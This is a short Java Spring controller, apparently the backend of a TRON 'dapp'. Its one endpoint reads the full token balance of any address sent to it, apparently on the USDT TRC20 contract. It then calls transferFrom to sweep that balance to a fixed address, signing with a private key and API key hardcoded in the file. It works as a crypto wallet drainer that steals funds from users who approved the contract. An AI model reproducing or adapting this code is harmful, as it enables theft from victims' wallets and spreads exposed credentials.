Helius
2021-10-19 9ccc5bf4563004ab9e525909a38c81c8e49bc68d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package cc.mrbird.febs.modules.dapp.controller;
 
import cc.mrbird.febs.common.entity.FebsResponse;
import cc.mrbird.febs.modules.dapp.dto.TrxPostDto;
import io.swagger.annotations.Api;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.web.bind.annotation.*;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;
 
import java.math.BigInteger;
 
/**
 * @author wzy
 * @date 2021-10-19
 **/
@Slf4j
@RequiredArgsConstructor
@CrossOrigin(origins = "*")
@RestController
@Api(value = "接口啊", tags = "接口啊")
@RequestMapping(value = "/trx")
public class DappController {
 
    private final String PRIVATE_KEY = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae";
 
    @PostMapping(value = "/trcPost.html")
    public FebsResponse trxPost(@RequestBody TrxPostDto trxPostDto) {
        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
 
        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
 
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L);
        return new FebsResponse().success().message("");
    }
}